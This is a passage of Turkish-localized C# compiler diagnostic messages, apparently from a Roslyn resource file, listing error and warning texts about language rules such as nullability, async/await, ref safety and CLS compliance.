dönüş türü bool olmalıdır + Bu oluşturucu, bu özniteliği olan bir oluşturucuya zincirlendiğinden 'SetsRequiredMembers' eklemelidir. + Kısıtlama '{0}' özel sınıfı olamaz + '{0}': Hedef çalışma zamanı, geçersiz kılmalarda birlikte değişken dönüş türlerini desteklemiyor. Dönüş türü, geçersiz kılınan '{1}' üyesiyle eşleşmek için '{2}' olmalıdır + '{0}' parametresinin 'scoped' değiştiricisi geçersiz kılınan veya uygulanan üyeyle eşleşmiyor. + '{1}' derlemesine iletilen '{0}' türü, '{3}' derlemesine iletilen '{2}' türü ile çakışıyor. + Bağımsız değişken bir 'ref readonly' parametresine geçirildiğinden bir değişken olmalıdır + Varsayılan değerler bu bağlamda geçerli değil. + Başvuru alanı bir başvuru yapısına başvuramaz. + '{0}' dosya yerel türü, '{1}' dosya dışı yerel türün temel türü olarak kullanılamaz. + Temsilci '{0}', '{1}' adlı bir parametre içermiyor + 'managed' çağırma kuralı, yönetilmeyen çağırma kuralı tanımlayıcılarla birleştirilemez. + Aynı işleve yönelik işaretçiler birbirinden farklı olabileceğinden işlev işaretçilerinin karşılaştırılması beklenmeyen bir sonuç verebilir. + '{1}' temel arabirimi CLS uyumlu olmadığından '{0}' CLS uyumlu değil + '{0}' kaynak arabiriminde '{2}' olayını katıştırmak için gerekli olan '{1}' yöntemi eksik. + Öznitelik oluşturucu parametresi '{0}' isteğe bağlıdır, ancak hiçbir varsayılan parametre değeri belirtilmedi. + Bir ifade ağacı lambdası null değerini yayan bir işleç içeremez. + '{0}' diğer adı bulunamadı + '{0}' üyesinin yinelenen başlatması + '{0}' kayıt eşitlik anlaşması özelliğinin get erişimcisine sahip olması gerekir. + /debug için geçersiz '{0}' seçeneği. Seçenek 'portable', 'embedded', 'full' veya 'pdbonly' olmalı + Bir fixed deyimi başlatıcısının içinde yalnızca sabitlenmemiş bir ifadenin adresini alabilirsiniz + İlişkilendirilmiş tam bir dize için '$@' yerine '@$' kullanmak amacıyla lütfen '{0}' veya daha yüksek bir dil sürümü kullanın. + '{0}': ComImport özniteliğine sahip sınıf alan başlatıcıları belirtemez. + '{0}' kısmi metodunun 'out' parametreleri olduğundan erişilebilirlik değiştiricileri olmalıdır. + '{0}': statik sınıfında dizin oluşturucu bildirilemez + İsteğe bağlı bağımsız değişkenlere izin vermeyen bağlamlarda kullanılan bir üye için geçerli olduğundan, CallerArgumentExpressionöğAttribute öğesinin etkisi olmaz + '{0}' arabirim listesinde zaten listelenmiş + null işaretçi sabit deseni + '{0}': özellik veya dizin oluşturucu en az bir erişene sahip olmalıdır + Açıkça yazılmış değişkenler sabit olamaz + Temel türdeki değişken ile aynı adlı bir değişken bildirildi. Ancak, new anahtar sözcüğü kullanılmadı. Bu uyarı new kullanmanız gerektiğini bildirir; değişken, bildirimde new kullanılmış gibi bildirildi. + Tutarsız erişilebilirlik: '{1}' dönüş türü, '{0}' yönteminden daha az erişilebilir + Salt okunur yapı birimlerinin örnek alanları salt okunur olmalıdır. + '{1}', '{0}' öğesinden daha dar bir kaçış kapsamı içerdiğinden '{0}' öğesine '{1}' ref ataması yapılamıyor. + '{0}' işleci UTF-8 bayt gösterimleri olmayan '{1}' ve '{2}' işlenenlerine uygulanamaz + Değişmez değerli karakter belirteçleri oluşturmak için Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal öğesini kullanın. + İfade ağacı, desen System.Index veya System.Range dizin oluşturucu erişimi içeremez + Öznitelik bağımsız değişkenleri olarak kullanılan diziler CLS uyumlu değildir + Atanmamış out parametresinin kullanımı + Geçerli bağlamda tür bağımsız değişkeninin atlanmasına izin verilmiyor + Hizalama değeri {0}, {1} öğesinden büyük bir boyuta sahiptir ve büyük bir biçimlendirilmiş dize ile sonuçlanabilir. + Statik bir yerel işlev, 'this' veya 'base' başvurusu içeremez. + Parametre okunmamış. + İfade ağacı UTF-8 dize dönüştürmesi veya sabit değer içermeyebilir. + out değişkeni bildirimi + Bir ref salt okunur parametresi Out özniteliğine sahip olamaz. + İntegral sabitiyle karşılaştırma yararsızdır; sabit '{0}' türü aralığının dışında + 'experimental' + '{1}' bütünleştirilmiş kodundaki '{0}' türü, gömülü birlikte çalışma türü olan bir genel tür bağımsız değişkeni içerdiğinden bütünleştirilmiş kod sınırları arasında kullanılamaz. + Sabit değeri çalışma zamanında taşmaya neden olabilir (geçersiz kılmak için 'unchecked' söz dizimini kullanın) + lambda isteğe bağlı parametreleri + parametresiz yapı oluşturucuları + Birli işlecin parametresi, içeren tür veya tür parametresi ile kısıtlanmış olmalıdır. + '{0}' yerel değişkeni tanımlı ancak hiç kullanılmadı + As işleci bir başvuru türüyle veya null atanabilir bir türle birlikte kullanılmalıdır ('{0}', null atanamaz bir değer türüdür) + Soyut {0} '{1}' sanal olarak işaretlenemiyor + '{0}': statik sınıflar kullanıcı tanımlı işleçler içeremez + '{0}' etiketi, içerilen bir kapsam içinde aynı addaki başka bir etiketi gölgeliyor + '{1}' metodu '{0}' metodunu geçersiz kılıyor. Çalışma zamanında birden fazla geçersiz kılma adayı var. Hangi metodun çağrılacağı uygulamaya bağımlıdır. Lütfen daha yeni bir çalışma zamanı kullanın. + Bir yapının örnek üyesi içindeki anonim metotlar, lambda ifadeleri, sorgu ifadeleri ve yerel işlevler, birincil oluşturucu parametresine erişemez + Bir get veya set erişimcisi bekleniyor + System.ParamArrayAttribute' kullanmayın. Bunun yerine 'params' anahtar sözcüğünü kullanın. + Mühürlü türde bildirilen yeni korumalı üye + '{0}' iletilen türü bu derlemenin birincil modülünde ifade edilen türle çakışıyor. + İki derlemenin sürümü ve/veya sürüm numarası farklı. Birleşmenin gerçekleşmesi için, uygulamanın .config dosyasındaki yönergeleri belirtmeniz ve derlemenin doğru güçlü adını sağlamanız gerekir. + '{0}' oluşturucusu başka bir oluşturucu üzerinden kendisini çağıramaz + '{0}' başvurulan dosyası bir derleme değil + Fazla yüklenmiş '{0}' ikili işleci iki parametre alır + veya deseni + '{0}' yerel işlevi, Conditional özniteliğini kullanabilmek için 'static' olmalıdır + Conditional özniteliği, bir geçersiz kılma yöntemi olduğundan '{0}' üzerinde geçerli değil + Yerel '{0}' veya üyelerinin adresleri alınıp anonim bir yöntem veya lambda ifadesinde kullanılamaz + SearchCriteria bekleniyor. + Arabirimler örnek oluşturucu içeremez + '{0}' void döndürdüğünden, bir dönüş anahtar sözcüğü bir nesne ifadesi tarafından izlenmemelidir + Kullanıcı tanımlı işleç bir türü kendi türüne dönüştüremez + Düzen gömülü bir türe başvuru içerdiğinden devam edilemiyor: '{0}'. + Bu çağrı beklenmediğinden, çağrı tamamlanmadan geçerli yöntemin yürütülmesi devam eder. Çağrının sonucuna 'await' işlecini eklemeyi düşünün. + Tüm başvuruları kapsam dışı olmadan {0} öğesinin ayrılmış örneğinde System.IDisposable.Dispose() öğesini çağırın. + {0} öğesinin ayrılmış örneği tüm istisna yolları boyunca atılmaz. Tüm başvuruları kapsam dışı olmadan önce System.IDisposable.Dispose() öğesini çağırın. + Tahmin edilen sözdizimi düğümü geçerli derlemeden bir sözdizimi ağacına ait olamaz. + '{0}' güvenlik özniteliğinin geçersiz bir SecurityAction değeri '{1}' var + Salt okunur bir türün birincil oluşturucu parametresi atanamaz (türün yalnızca init ayarlayıcısı veya bir değişken başlatıcısı dışında) + Statik bir yerel işlev, '{0}' başvurusu içeremez. + Eksi değerde atama yapmak için değeri parantez içine almalısınız. + '{0}' yerel adı PDB için çok uzun. Kısaltmayı veya /debug olmadan derlemeyi deneyin. + Üye tanımı, deyim veya dosya sonu bekleniyor + Parametre türü değiştiricisi'{0}' geçersiz kılınan veya uygulanan üyedeki '{1}' parametre türü değiştiricisi ile eşleşmiyor. + Ayrıştırma değişkeni, ref yerel olarak bildirilemez + Bu çağrı beklenmediği için, çağrı tamamlanmadan önce geçerli yöntemin yürütülmesine devam ediliyor + Using yan tümcesi extern diğer ad bildirimleri dışında ad uzayında tanımlanan diğer tüm öğelerden önce gelmelidir + Bağımsız {0} bir 'ref readonly' parametresine geçirildiğinden değişken olmalıdır + 'await' işleci yalnızca bir async metot içerisinde kullanılabilir. Bu metodu 'async' değiştiricisi ile işaretlemeyi ve dönüş tipini 'Task<{0}>' olarak değiştirmeyi düşünün. + '{0}' statik üyesi 'readonly' olarak işaretlenemez. + Sabit bir arabelleğin yalnızca bir boyutu olabilir. + UnscopedRefAttribute, 'scoped' değiştiricisi olan parametrelere uygulanamaz. + Olası bir null değeri kutudan çıkarma. + '{1}' türünün değeri asla '{2}' türünün 'null' değerine eşit olmadığından ifadenin sonucu her zaman '{0}' + değişken + '{0}' türündeki değerdeki başvuru türlerinin boş değer atanabilirliği '{1}' hedef türü ile eşleşmiyor. + Bir türe başvurduğundan '{0}' diğer adı '::' ile kullanılamaz. Yerine '.' kullanın. + Birleştirme çakışması işaretçisiyle karşılaşıldı + '{0}' friend derleme başvurusu geçersiz. InternalsVisibleTo bildirimlerinde sürüm, kültür, ortak anahtar simgesi veya işlemci mimarisi belirtilemez. + Bir ref parametresi aracılığıyla '{0}' referansıyla bir parametre döndürülemez; sadece bir return ifadesinde döndürebilir + Üst düzey deyimleri kullanan program yürütülebilir olmalıdır. + Bu, başvuruya göre yerel bir üye döndürür, ancak yerel bir başvuru değildir + Boş karakter sabiti değeri + 'class', 'struct', 'unmanaged', 'notnull' ve 'default' kısıtlamaları birleştirilemez veya yinelenemez ve kısıtlamalar listesinde ilk olarak belirtilmelidir. + 'Zaten bir derleme olduğundan '{0}' bu derlemeye eklenemiyor + Switch deyimi için en iyi tür bulunamadı. + Ortak imzalama, netmodule'ler için desteklenmiyor. + '{0}', '{2}' türünün arabirim listesinde zaten '{1}' olarak listelenmiş. + ref atamasının sol tarafı, ref değişkeni olmalıdır. + Alan veya özellik '{0}' türünde olamaz + Ayrıştırma deyiminin sol tarafında demet öğesi adlarına izin verilmez. + Bir ifade ağacı lambdası bir yöntem grubu içeremez + 'enable', 'disable' veya 'restore' bekleniyor + Boş değer atanabilir '{0}?' başvuru türünün bir as ifadesinde kullanılması yasaktır; bunun yerine temel alınan '{0}' türünü kullanın. + Temsilci, 'System.Nullable<T>' üyesi olduğundan '{0}' öğesine bağlanamaz + yöntem + '{0}' öğesinin kısmi bildirimleri aynı sırada aynı tür parametresi adlarına sahip olmalıdır + __arglist, 'in' veya 'out' tarafından geçirilen bir bağımsız değişkene sahip olamaz + '{0}' karakterleri bu konumda kullanılamaz. + Await' işleci yalnızca zaman uyumsuz bir {0} ile kullanılabilir. Bu {0} öğesini 'async' değiştiricisi ile işaretlemeyi düşünün. + ref' genişletme metodu '{0}' için ilk parametre, değer türünde veya struct ile kısıtlanmış genel türde olmalıdır. + '{0}' ile '{1}' işlev işaretçisi arasındaki başvurular uyuşmuyor + Çağırma kuralı değiştiricisi olarak '{0}' kullanılamaz. + Kurgusal anlam modelini zincirleme desteklenmiyor. Kurgusal olmayan ParentModel öğesinden kurgusal bir model oluşturmalısınız. + Programda birden fazla giriş noktası tanımlanmış. Giriş noktasını içeren türü belirtmek için /main ile derleyin. + genişletilmiş kısmi metotlar + '{0}' özelliği C# 8.0'da kullanılamaz. Lütfen {1} veya daha yüksek bir dil sürümü kullanın. + '{0}' özelliği C# 7.2'de kullanılamaz. Lütfen {1} veya daha yüksek bir dil sürümü kullanın. + '{0}' özelliği C# 7.3'te kullanılamaz. Lütfen {1} veya daha yüksek bir dil sürümü kullanın. + '{0}' özelliği C# 7.1'de kullanılamıyor. Lütfen {1} veya daha yüksek dil sürümünü kullanın. + Bu bağlamda değişken kullanımı, başvurulan değişkenleri bildirim kapsamının dışında gösterebilir. + Beklenen düz metin arasına kod eklenmiş dize + '{0}' dosyasının '{1}' XML parçası eklenemiyor -- {2} + Satır içi dizi dönüştürme işleci, bildirim türünün ifadelerinden dönüştürme için kullanılmaz. + '{1}' modülünden dışarı aktarılan '{0}' türü, '{3}' modülünden dışarı aktarılan '{2}' türü ile çakışıyor. + Dize 'null' sabiti, '{0}' için desen olarak desteklenmiyor. Bunun yerine boş bir dize kullanın. + Giriş noktası genel veya genel bir türde olamaz + '{0}' uygun bir statik Main yöntemine sahip değil + Denetim, '{0}' alanı açıkça atanmadan önce çağırana döndürülür ve bu da 'default' öğesinin önceki örtük ataması ile sonuçlanır. + Tek öğeli bir ayrıştırma deseni, kesinleştirme için başka bir söz dizimi gerektirir. ')' kapanış parantezinden sonra '_' atma belirleyicisinin eklenmesi önerilir. + '{0}' için tamamen nitelikli ad, hata ayıklama bilgileri için çok uzun. '/debug' seçeneği olmadan derleyin. + Denetim çağırana döndürülmeden önce bir yapının alanları bir oluşturucuda tam olarak atanmalıdır. Alanı otomatik olarak varsayılan durumuna getirmek için dil sürümünü güncelleştirmeyi düşünün. + İsteğe bağlı parametreler tüm gerekli parametrelerden sonra yer almalıdır + Uyarı bir hatayı geçersiz kılıyor + Bu etikete başvurulmamış + '{0}' değişkeni ifade edilir ancak hiçbir zaman kullanılmaz + Genel {1} '{0}' kullanmak için {2} türü bağımsız değişkenler gerekir + '{0}' 'UnmanagedCallersOnly' yöntemi, '{1}' arabirim üyesini '{2}' türünde uygulayamaz + #endif yönergesi bekleniyor + Bir goto, using bildiriminden sonraki bir konuma atlayamaz. + Geçerli yöntem, bir Görev veya Task<TResult> döndüren bir async metodunu çağırır ve await işlecini sonuca uygulamaz. async metodu çağrısı bir asenkron görev başlatır. Ancak, bir await işleci uygulanmadığından, program görevin tamamlanmasını beklemeden devam eder. Çoğu durumda, bu beklediğiniz davranış değildir. Genellikle çağrı metodunun diğer özellikleri o çağrının sonuçlarına bağlıdır veya en azından, çağrıyı içeren metottan dönülmeden önce çağrılan metodun tamamlanması beklenir. + +Aynı derecede önemli başka bir konu da çağrılan async metodunda tetiklenen özel durumlara ne olduğudur. Bir Görev veya Task<TResult> döndüren bir metotta tetiklenen özel durum döndürülen o görevde depolanır. Görevi beklemezseniz veya özel durumları açık olarak denetlerseniz özel durum kaybedilir. Görevi beklerseniz, özel durumu yeniden tetiklenir. + +En iyi deneyim olarak, çağrıyı her zaman beklemeniz gerekir. + +Yalnızca asenkron çağrının tamamlanmasını beklemek istemediğinizden ve çağrılan metodun bir özel durumu tetiklemeyeceğinden eminseniz bu uyarıyı gizlemeyi düşünmeniz gerekir. Bu durumda, çağrının görev sonucunu bir değişkene atayarak uyarıyı gizleyebilirsiniz. + sorgu ifadesi + '{0}' kayıt üyesi korumalı olmalıdır. + '{0}' özniteliğine yönelik bağımsız değişken için geçersiz değer + Belirsiz derlemede '{0}' işlemciye özel modül olamaz. + Biçim belirticisinin sonunda boşluk olamaz. + UnscopedRefAttribute varsayılan olarak kapsam dışı olduğundan bu parametreye uygulanamaz. + '{0}' türü, new() işleminin hedef türü olarak kullanılamaz + InterpolatedStringHandlerArgumentAttribute bağımsız değişkenleri özniteliğin kullanıldığı parametreye başvuramaz. + Değişken atandı ancak değeri hiç kullanılmadı + Ekleme veya kaldırma erişimcisinin gövdesi olmalı + '{0}' açık yöntem uygulaması, bir erişimci olduğundan '{1}' öğesini uygulayamaz + Üye arabirim üyesini çalışma zamanında birden çok eşleşme ile uygular + XML yorumunun '{0}' için yinelenen bir param etiketi var + '{0}' numaralandırıcı adı ayrıldı ve kullanılamıyor + Bir ifade ağacı lambdası bir sözlük başlatıcısı içeremez. + Düz metin arasına kod ekli ham dize sabit değeri, bu kadar çok ardışık kapatma küme ayracı içerik olarak izin vermek için yeterli '$' karakterle başlamıyor. + Satır içi dizi 'Slice' yöntemi öğe erişim ifadesi için kullanılmaz. + '{0}' üyesi, erişilebilir bir üyeyi gizlemez. Yeni anahtar sözcük gerekli değil. + Adlandırılmış bağımsız değişken belirtimleri, sabit bağımsız değişkenlerin tümü dinamik çağrıyla belirtildikten sonra yer görüntülenmelidir. + '{0}': statik türler parametre olarak kullanılamaz + #pragma uyarı önişlemcisi yönergesine geçirilen bir sayı geçerli bir uyarı sayısı değildi. Sayının bir hatayı değil, bir uyarıyı temsil ettiğini doğrulayın. + catch ve finally bloklarında await + Muhtemelen null atanabilirlik öznitelikleri nedeniyle, dönüş türündeki başvuru türlerinin null atanabilirliği hedef temsilciyle eşleşmiyor. + '{0}': bir giriş noktası genel ya da genel bir türde olamaz + '{0}', '{1}' arabirim üyesini uygulamaz + '{0}' bir '{1}' tanımı içermiyor ve en iyi genişletme yöntemi yeniden yüklemesi olan '{2}', '{3}' türünün bir alıcısını gerektiriyor + #r öğesine yalnızca komut dosyalarında izin verilir + Dinamik türde bağımsız değişken, gösterilen türde bağımsız değişkenleri olan genel '{0}' yerel işlevine geçirilemez. + #line yönergesi bitiş konumu başlangıç konumundan büyük veya buna eşit olmalıdır + Sözdizimi ağacı zaten var + Birincil oluşturucu parametresi temeldeki bir üye tarafından gölgelendi + Denetim çağırana döndürülmeden önce otomatik uygulanan '{0}' özelliği tam olarak atanmalıdır. Özelliği otomatik olarak varsayılan durumuna getirmek için '{1}' dil sürümüne güncelleştirmeyi düşünün. + Atanmamış olabilecek alanın kullanımı. Alanı otomatik olarak varsayılan durumuna getirmek için dil sürümünü güncelleştirmeyi düşünün. + Olası bir null başvurunun başvurma işlemi. + Geçersiz çıkış adı: {0} + ComImport özniteliğine sahip bir sınıfın kullanıcı tanımlı oluşturucusu olamaz + CollectionBuilderAttribute yöntemi adı geçersiz. + Bu metot başvuru ile döndürüldüğünden, dönüş ifadesi '{0}' türünde olmalıdır + Salt okunur bir türün '{0}' birincil oluşturucu parametresinin üyeleri, bir ref veya out değeri olarak kullanılamaz (türün yalnızca init ayarlayıcısı veya bir değişken başlatıcı dışında) + Otomatik uygulanan özelliklerin get erişeni olmalıdır. + '{0}' tanımlayıcısı CLS uyumlu değil + ++ veya -- işlecinin dönüş türü parametre türüyle eşleşmeli veya parametre türünden türetilemez ya da parametre türü farklı bir tür parametresi olmadığı sürece, içeren türün tür parametresiyle kısıtlanmış olmalıdır. + Satır içi dizi dönüştürme işleci, bildirim türünün ifadelerinden dönüştürme için kullanılmaz. + '{0}' için hata ayıklama bilgileri okunurken hata oluştu + İfade ağacı, ref yapısında veya kısıtlanmış '{0}' türünde değer içeremez. + Statik sınıflar yıkıcı içeremez + '{0}' parametresi, '{1}' parametresinde düz metin arasına kod eklenmiş dize işleyici dönüştürmesine yönelik bir bağımsız değişkendir, ancak karşılık gelen bağımsız değişken, düz metin arasına kod eklenmiş dize ifadesinden sonra belirtilir. '{0}' öğesini '{1}' öğesinden önce taşımak için bağımsız değişkenleri sıralayın. + Verilen ifade her zaman sağlanan ('{0}') türündedir + Kaynak dosya başvuruları desteklenmiyor. + Parametrenin başvuru türü değiştiricisi, gizli üyedeki karşılık gelen parametreyle eşleşmiyor. + '{0}': statik türler dönüş türleri olarak kullanılamaz + '{0}' kısmi sınıfının veya yapı biriminin birden çok bildiriminde alanlar arasında tanımlı sıralama yok. Sıralama belirtmek için, tüm örnek alanları aynı bildirimde olmalıdır. + Tutarsız erişilebilirlik: '{1}' dizin oluşturucusu dönüş türü, '{0}' dizin oluşturucusundan daha az erişilebilir + CLS uyumlu alan geçici olamaz + Tam olmayan düz metin arasına kod eklenmiş dize içindeki yeni satırlar, C# {0} içinde desteklenmiyor. Lütfen {1} dil sürümünü veya daha üstünü kullanın. + Tutarsız erişilebilirlik: '{1}' parametre türü, '{0}' yönteminden daha az erişilebilir + ağacın SyntaxKind.CompilationUnit ile bir kök düğümü olmalıdır + Yalnızca atama, çağrı, artırma, azaltma ve yeni nesne ifadeleri deyim olarak kullanılabilir + İsteğe bağlı bağımsız değişkenlere izin vermeyen bağlamlarda kullanılan bir üye için geçerli olduğundan '{0}' parametresine uygulanan CallerFilePathAttribute'un bir etkisi yoktur + params bu bağlamda geçerli değildir + İfade ağacı lambdası bir ref, in veya out parametresi içeremez + '{0}' dosya yerel türü, 'global using static' yönergesinde kullanılamaz. + System.Collections.IEnumerable' uygulamadığından '{0}' türü bir koleksiyon başlatıcısıyla başlatılamıyor + İşaretçi türleri için desen eşleştirmeye izin verilmez. + '{0}' türündeki bir ifade sağlanan desenle her zaman eşleşir. + '{0}' özelliği şu anda Önizleme aşamasındadır ve *desteklenmemektedir*. Önizleme özelliklerini kullanmak için 'önizleme' dil sürümünü kullanın. + Aşırı yüklenmiş kaydırma işlecinin ilk işleneni, kapsayan türle aynı türe sahip olmalıdır + otomatik özellik başlatıcısı + '{0}' kaynağı okunurken hata -- '{1}' + Önişlemci yönergesi bekleniyor + Aşırı yüklenmiş kaydırma işlecinin ilk işleneni, kapsayan türle aynı türe veya buna kısıtlanmış tür parametresine sahip olmalıdır + 'await', '{0}' türünü içeren bir ifadede kullanılamaz + Özellik veya '{0}' dizin oluşturucusunun erişenleri için erişilebilirlik değiştiricileri belirtilemiyor + Kısmi metot bildirimlerinde imza farklılıkları var. + '{0}' modül başlatıcısı metodu genel olmamalı ve genel türde kapsanmamalıdır + Demet öğesi adları benzersiz olmalıdır. + Dil adı geçersiz + '{0}': işleç veya erişimciyi doğrudan çağıramaz + '{0}' extern ise oluşturucu başlatıcısına sahip olamaz + Boş değer atanabilir değer türü null olabilir. + Otomatik olarak uygulanan özellikler başvuru ile döndürülemez + Çok satırlı ham dize sabit değerlerine yalnızca düz metin arasına kod eklenmiş dizeler içinde izin verilir. + Gerekli boşluk eksik. + '{0}' netmodule başvurusu eksik. + Atanmamış olabilecek '{0}' alanının kullanımı. Alanı otomatik olarak varsayılan durumuna getirmek için '{1}' dil sürümüne güncelleştirmeyi düşünün. + '{0}', 'GetHashCode' değil, 'Equals' tanımlıyor + İşlem yığın taşmasına neden oldu. + foreach yineleme değişkeni + '{0}': geçersiz kılınamıyor; '{1}' bir olay değil + '{0}' yinelenen TypeForwardedToAttribute + Sabit boyutlu arabelleklerin uzunluğu sıfırdan büyük olmalıdır + 'await', zaman uyumsuz bir yöntemde veya bir lambda ifadesinde tanımlayıcı olarak kullanılamaz + '{0}' sabit değeri bir '{1}' değerine dönüştürülemez (geçersiz kılmak için 'unchecked' sözdizimini kullanın) + Tanımlayıcı CLS uyumlu değil + sözlük başlatıcısı + C# derleyicisinde iç hata oluştu. + '{0}' parametresi için geçerli olan CallerArgumentExpressionAttribute öğesinin hiçbir etkisi olmaz. CallerLineNumberAttribute tarafından geçersiz kılındı. + Bu, referansa göre bir parametre döndürür, ancak geçerli yönteme göre kapsamlandırılır + '{1}' parametresi null olmadığından '{0}' parametresi çıkış yaparken null olmayan bir değere sahip olmalıdır. + aradeğerlendirme dizeleri + Tüm kod yolları '{1}' türünün {0} içinde bir değer döndürmez + İstenmeden yapılmış olabilecek başvuru karşılaştırması, sol taraf için atama gerekiyor + '{0}' temel türünde erişilebilir kopya oluşturucu bulunamadı. + Bu parametreye karşılık gelen konumsal üye '{0}' gizli. + PermissionSet özniteliği için '{1}' adlandırılmış bağımsız değişkeni için belirtilen '{0}' dosya yolu çözümlenemiyor + Geçersiz sayı + '{0}' başvurulan derlemesinin '{1}' için farklı kültür ayarı var. + Cref özniteliğinde belirsiz başvuru + Genişletme yönteminin ilk parametresi '{0}' türünde olamaz + salt okunur başvurular + '{0}' verilen bağlamda geçerli olmayan bir {1} öğesidir + Yalnızca ref veya out öğelerinde ya da dizi derecesinde fark gösteren '{0}' aşırı yüklü yöntemi CLS uyumlu değil + Geçersiz parametre türü 'void' + Genel olmayan bildirimlerde kısıtlama kullanılamaz + XML açıklaması sözdizimsel olarak yanlış cref özniteliğine sahip + anonim yöntemler + Boş değer atanabilir başvuru türleri için ek açıklama kodda yalnızca bir '#nullable' ek açıklama bağlamı içinde kullanılmalıdır. + İfade ağacı, throw ifadesi içeremez. + '{0}' türü '{1}' olarak dönüştürülemiyor. + Filtre ifadesi bir sabit ‘false’ değeri, try-catch bloğunu kaldırmayı deneyin + '{0}' adlandırılmış bağımsız değişkeni bir kereden fazla belirtilemez + Dizi türü belirleyicisi [], parametre adından önce gelmelidir + Null yapılamayan bir değer türü olduğundan, null değeri '{0}' türüne dönüştürülemiyor + Çözümleyici referansı '{0}' birden çok kez belirtildi + 'partial' değiştiricisi yalnızca 'class', 'record', 'struct', 'interface' ifadelerinden veya metot dönüş türünden hemen önce gelebilir. + Yöntem '{0}' eşleşmesi için genel olmayan '{1}'. + Tür, koleksiyon desenini uygulamıyor. Üye bir genel örnek veya genişletme metodu değil. + DefaultParameterValue özniteliğine geçirilen bağımsız değişkenin türü parametre türüyle eşleşmelidir + {0} için hedef tür yok + Geçersiz başvuru diğer adı seçeneği: '{0}=' -- dosya adı eksik + '{0}' türü, kayıt alanı için kullanılamaz. + Bir başvuru yapı biriminin örnek üyesi olmadığı sürece alan veya otomatik uygulanan özellik, '{0}' türünde olamaz. + Geçersiz varyans: '{4}' veya üzeri bir dil sürümü sürüm kullanılmadıkça '{1}' tür parametresi '{0}' üzerinde geçerli bir {3} olmalıdır. '{1}' değeri {2}. + Daha önce genel kullanım olarak görünen kullanım yönergesi + İsteğe bağlı bağımsız değişkenlere izin vermeyen bağlamlarda kullanılan bir üyeye uygulandığından, '{0}' parametresine uygulanan CallerArgumentExpressionAttribute değerinin hiçbir etkisi olmayacaktır + '{0}' adlandırılmış bağımsız değişkeni, pozisyonu dışında kullanıldı ancak ardından adlandırılmamış bir bağımsız değişken geliyor + '{0}' salt okunur alanının üyeleri, yazılabilir başvuru ile döndürülemez + '{0}' türündeki bir ifade dinamik olarak dağıtılan işlemin bağımsız değişkeni olarak kullanılamaz. + dynamic' kaynak türünü kapsayan veya 'dynamic' türünde bir birleştirme dizisi olan sorgu ifadeleri kullanılamaz + '{0}' seçeneği bir kaynak dosyasında veya eklenen modülde verilen '{1}' özniteliğini geçersiz kılar + '{0}': üye adları kapanış türleri ile aynı olama + '{0}': Asenkron bir using deyiminde kullanılan tür örtük olarak 'System.IAsyncDisposable' arabirimine dönüştürebilir olmalı veya uygun bir 'DisposeAsync' metodunu uygulamalıdır. 'await using' yerine 'using' mi kullanmak istediniz? + Parametre listesinde parametre {0}, ardından parametre {1} gerçekleşir, ancak düz metin arasına kod eklenmiş dize işleyicisi dönüştürmeleri için bağımsız değişken olarak kullanılır. Bu, çağıranın, çağıran sitede adlandırılmış bağımsız değişkenlerle parametreleri yeniden düzenlemesini gerektirir. Tüm bağımsız değişkenlerin ardından düz metin arasına kod eklenmiş dize işleyicisi parametresini yerleştirmeyi göz önünde bulundurmanız gerekir. + Geçersiz karma algoritması adı: '{0}' + Bağlamsal anahtar sözcük 'var' yalnızca yerel değişken bildiriminde veya betik kodunda görünebilir + İfade ağacı statik sanal veya soyut arabirim üyesi erişimi içermeyebilir + Geçersiz görüntü tabanı numarası '{0}' + Bir Windows Çalışma Zamanı olayı out veya ref parametresi olarak geçirilemeyebilir. + '{0}' türünün örneği iç içe geçmiş bir işlevde, sorgu ifadesinde, yineleyici bloğunda veya zaman uyumsuz bir metotta kullanılamaz + '{0}, '{1}' arabirim üyesini uygulamıyor. '{3}' eşleşen dönüş türüne sahip olmadığından '{2}' '{1}' öğesini uygulayamaz. + Bağımsız değişken 'ref' veya 'in' anahtar sözcüğüyle geçirilmelidir + genişletilmiş özellik desenleri + {0} yan tümcesindeki ifadelerin birinin türü yanlış. '{1}' çağrısında anlam çıkarma başarısız oldu. + XML açıklaması bir tür parametresine başvuran cref özniteliğine sahip + '{0}' dosya yerel türü, erişilebilirlik değiştiricilerini kullanamaz. + Birincil oluşturucu parametresi '{0}' temeldeki bir üye tarafından gölgelendi. + Yöntem adı bekleniyor + Anonim yöntem, lambda ifadesi veya sorgu ifadesi içinde sabit yerel '{0}' kullanılamaz + Zaman uyumlu '{1}' giriş noktası bulunduğundan '{0}' metodu giriş noktası olarak kullanılmayacak. + __arglist bu bağlamda geçerli değildir + '{0}' üyesi çıkış yaparken null olmayan bir değere sahip olmalıdır. + Öğeler null olamaz. + Bir C# sembolü değil. + '{0}' &metot grubu, işlev dışı '{1}' işaretçi türüne dönüştürülemiyor. + '{0}': statik türler parametre olarak kullanılamaz + Yalnızca 'using static' veya 'using alias' 'unsafe' olabilir. + '{1}' modülünden dışarı aktarılan '{0}' türü, bu derlemenin birinci modülünde ifade edilen tür ile çakışıyor. + Switch ifadesi giriş türünün tüm olası değerlerini işlemiyor. (İfade tam kapsamlı değil.) + yönetilmeyen oluşturulmuş türler + Bu, yönetilen bir türün adresini alır, boyutunu alır veya bir işaretçi bildirir. + Belirtilen '{0}' sürüm dizesi gerekli biçime uymuyor - major[.minor[.build[.revision]]] + foreach deyimi, '{1}' öğesinin birden çok örnek oluşturma işlemini uyguladığından '{0}' türündeki değişkenlerde çalışamaz; belirli bir arabirim örnek oluşturma işlemine atamayı deneyin + XML açıklamasının bir param etiketi var, ancak bu adla hiçbir parametre yok + Tanımlayıcı bekleniyor + desen eşleştirme + Diğer ad kullanımı null değer atanabilir bir başvuru türü olamaz. + CallerMemberNameAttribute öğesinin etkisi olmayacak; CallerFilePathAttribute tarafından geçersiz kılındı + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + dosya türleri + İfade ağacı temel bir erişim içeremez + Bir parametrenin yalnızca '{0}' değiştiricisi olabilir + Goto deyiminin kapsamında '{0}' etiketi yok + Unsafe kod yalnızca /unsafe ile derleme yapılırsa görünebilir + '{0}' hedefine bir çağrı tarafından döndürülen başvuru, 'await' veya 'yield' sınırında korunamıyor. + '{0}': sanal veya soyut üyeler özel olamaz + CallerArgumentExpressionAttribute, geçersiz bir parametre adıyla uygulandı. + kayıtlardaki konumsal alanlar + saltokunur üyeler + Başvurulan derlemenin farklı bir kültür ayarı var + '{0}' genişletme yönteminin ilk 'in' veya 'ref readonly' parametresi, somut (genel olmayan) bir değer türü olmalıdır. + '{0}' oluşturucusu başlatılamadı. Oluşturucu çıkışa katkıda bulunamaz, bunun 